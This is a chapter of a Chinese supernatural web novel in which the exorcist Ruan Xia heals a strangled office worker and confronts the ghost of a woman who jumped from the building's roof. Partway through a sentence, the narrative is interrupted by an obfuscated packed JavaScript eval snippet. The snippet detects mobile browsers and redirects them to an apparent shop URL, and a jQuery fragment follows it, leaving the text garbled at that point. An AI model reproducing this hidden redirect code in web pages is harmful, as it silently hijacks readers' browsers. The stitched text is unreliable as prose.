“闹鬼?”
张舒雨紧紧握着自己的护身符:“是,我们一来听说有同事昨天晚上在楼上加班,被鬼给附身了,把上次跟我们一起出外勤的那个林家莹给掐个半死,现在还在医院躺着呢!今天公司很多人都请假了。要不是等你来,我们也想请假!”
阮夏正要再问,就听见电话响。是王林海打来的,他肯定也是为了这件事,不然不会她一来就打电话叫她过去。她安慰了张舒雨两句,便拎着包和王副总一起去医院探望那两个人。
林家莹被阮夏放出的叶紫吓了一跳,知道这世界的真相超出她认知范畴之后,晚上便没有出过门,在单位也没之前表现得那么积极了,能不加班就不晚回家。
尤其是前两天顶楼还有一个小姑娘大晚上的跳楼了,她更害怕了,一下班就跑了。昨天晚上被领导训斥,强迫加班,没办法才和同事一起熬夜准备材料。
阮夏到的时候,护士正在换点滴。林佳莹正坐在病床上,脖颈上的深色乌青手印在白皙的皮肤上格外的显眼。
见到他们来,想要坐起来,却被阮夏一个手势制止。等到护士出去,阮夏才问道:“说说吧,发生了什么事?”
林家莹注意到刚才王副总是在她后面进来的,也就是说王副总是知道她的本事的。更不敢耽搁,把自己记得的事情说了。
昨天晚上她和几个同事一起在顶楼加班。刚过十一点,一个女同事说肚子疼去厕所,结果好长时间没有出来,她觉得不对劲,又等了一会,还没见人回来。出于担心她决定去厕所看一眼。谁知走到厕所洗手台的位置,看到那个同事拿着口红把嘴唇周围都涂成红色,眼睛也白的不正常。
她当时没往别的地方想,以为发生了什么事,正想要问一下,那人就突然冲过来掐着她脖子,一边掐一边大喊着:“都是你们这些坏人你们都是坏人,我要杀了你!”
好在有同事听见动静,过来把她们两个分开,否则会导致什么后果还真不好说。
听完她的话,阮夏没说什么,拿出来一张驱邪符,往她的脖子处碰。
“别动!”
林家莹看清楚她拿的黄符,也就一动不敢动。符纸接触到皮肤的位置,传来一阵阵灼热的感觉,像是在灼烧什么东西。
“好了。”
好了?
林家莹连忙拿起手机打开相机查看,发现脖子上乌青的痕迹果然很淡,只有一点点发红的手指印。应该是昨天被掐的太用力了,毛细血管破裂留下的印记。
阮夏把颜色已经暗淡了一些的黄符放到她手里:“一张一万。记得转钱。”
一直站在后面的王林海连忙说道:“这个钱和医药费一样,公司来出。”
阮夏转向他,眼神意味不明:“还是公司有钱。”
王林海瞥了一眼林家莹,尬笑了一下:“既然没事了,那我们去看看另一个人吧。”
林家莹握紧手里的符纸,她知道阮夏对她态度源于自己之前的无知冒犯,不过她一定会想办法让大师不讨厌自己。
被附身的女生叫李敏,昨天被人拉开后,就瘫倒陷入昏迷,直到送到医院才醒过来。她虽然不记得自己做过什么事,但是在被附身之前的事情她还记得的。
她当时从厕所出来,洗手后照镜子,发现自己牙齿上沾了一点口红,便想用纸巾擦了。结果一摸口袋,发现自己口红不知道什么时候放到了里面,于是顺便补了一下。
就在这时候,镜子里突然出现了一个血呼啦的女人,她一个哆嗦,直接吓得晕过去了,之后的事情也不知道了。
阮夏拿出一张护身符递给她:“给你,放在身上。最近几天多晒晒太阳,没事的。”
李敏和张舒雨差不多一起进公司,关系也挺不错,听她隐晦提醒过,知道阮夏不是一般人。此刻接过符纸,也没有表现出来太大的诧异。
从医院出来,王林海忧心忡忡:“这件事闹得沸沸扬扬,不止我们,整个大厦都传遍了。我们又在顶楼,这次事情如果不解决,恐怕公司的人都无心上班了。”
阮夏:“放心,我今天晚上就处理。”
金钱诚可贵,生命价更高。就算再高的加班工资,没命花也是白搭。所以一下班,除了阮夏三人,公司的人全跑光了。
张舒雨捏着符纸缩在阮夏身后,左看右看,生怕那个女鬼突然从哪里冒出来。杜子言还好,他之前跟着爷爷去给人送过东西,见过这些,倒是没那么害怕。
更何况,这里还有一个大佬坐镇,更没什么怕的了!
阮夏老神在在地给三人点了一份豪华炒菜外卖,毕竟不能饿着肚子干活不是!
饭菜送来后,张舒雨和杜子言很快就被饭菜香气吸引,也顾不得害怕了,准备开始品尝美食。
“这家菜超级贵,但是真的超级好吃。”杜子言边吃边感慨,“这顿饭吃下去,等会打怪升级就有力气了。”
阮夏笑了一下,没有出声,视线扫了一下门口的位置,把拿到手里的盒饭放回桌子上。同时,门外传来一声凳子翻倒的声音。
这个时候的办公室已经没有人了,那这声音……
反应过来的张舒雨和杜子言迅速放下手里的盒饭,拿出护身符,躲到阮夏的身后。
阮夏走到办公室门口,头顶走廊的灯管开始“滋滋”闪烁,不远处传来似乎是指甲刮擦什么的声音,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17578101|203615||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尖锐刺耳。
这个声音真的是常听常厌,以前上课的时候如果老师的指甲刮到黑板,她能即时起一身的鸡皮疙瘩。
阮夏摸了摸自己手腕的小葫芦:“叶紫,我最讨厌这个声音,揍她。”
叶紫应声而去。
阮夏反身回到办公室,坐回沙发上:“我都饿了,先吃饭吧。”
都这个时候了,除了大佬,谁还有胃口吃饭啊。
张舒雨和杜子言收起心口的羡慕嫉妒恨,乖乖地坐在旁边吃饭。刚才无比垂涎的美食,此刻却没了有那种特别吸引力。
叶紫回来的时候,阮夏已经吃的差不多了。她放下碗筷,起身出门。剩下两人连忙手忙脚乱地跟上。
阮夏坐着电梯来到顶楼,从消防楼梯上了楼顶。天台边缘,一个穿着红色衣裙的女人站在矮墙上。此刻身影已经半透明了,看来叶紫的拳头也挺厉害的。她赞赏地摸了摸手腕的手串。
阮夏:“你就是王梦婕?”
女鬼猛地回头,面容是死前的惨状,她双眼空洞流血,十分可怖。
“哎呀,妈呀!”张舒雨吓得尖叫一声,抱紧了身边人的胳膊。杜子言也被这一幕吓了一跳,但好在适应能力强,坚定地站在原地,任由旁边人抱着。
王梦婕神请扭曲,声音尖厉:“为什么所有人都要欺负我,现在连我死了你们还不放过我?为什么!”
“你们都是坏人,你们都该下地狱给我陪葬!”
随着声声控诉,她身上的怨气再次凝结,连身影都凝实了不少。化作一道黑影猛地向这边扑来。
阮夏不避不闪,在黑影近了的瞬间,将太极护心镜挡在身前。镜光一闪,王梦婕便被弹射出去。她伸手掐诀,默念咒语。
“太上台星,应变无婷。驱邪缚魅,保命护身。智慧明净,心神安宁。三魂永久,魄无丧倾。”
这是安魂咒,有安抚亡灵,化解怨气的效果。王梦婕之前被叶紫揍过,煞气已经散了不少,此刻安魂定魄的咒语还是很有用的。不多时,魂体由狂躁的虚影变得稳定下来。
阮夏走近,上下打量了一下她,讥讽地笑了一声:“你死后不找害你的人报仇,只敢纠缠这些无辜的打工人,倒是挺会挑软柿子捏的啊。你以为死了就一了百了,没有约束了吗?”
“凭什么他们就可以欺负人,我就不可以。”王梦婕语气愤慨。
“所以,你是想变成自己讨厌的那种人?”
王梦婕没有说话。
“报仇和伤及无辜可不是一回事,你这纯粹是给自己增加孽债。”阮夏拿出一张阴气符,贴到她身上,“说说吧,到底发生了什么事,为什么会跳楼?”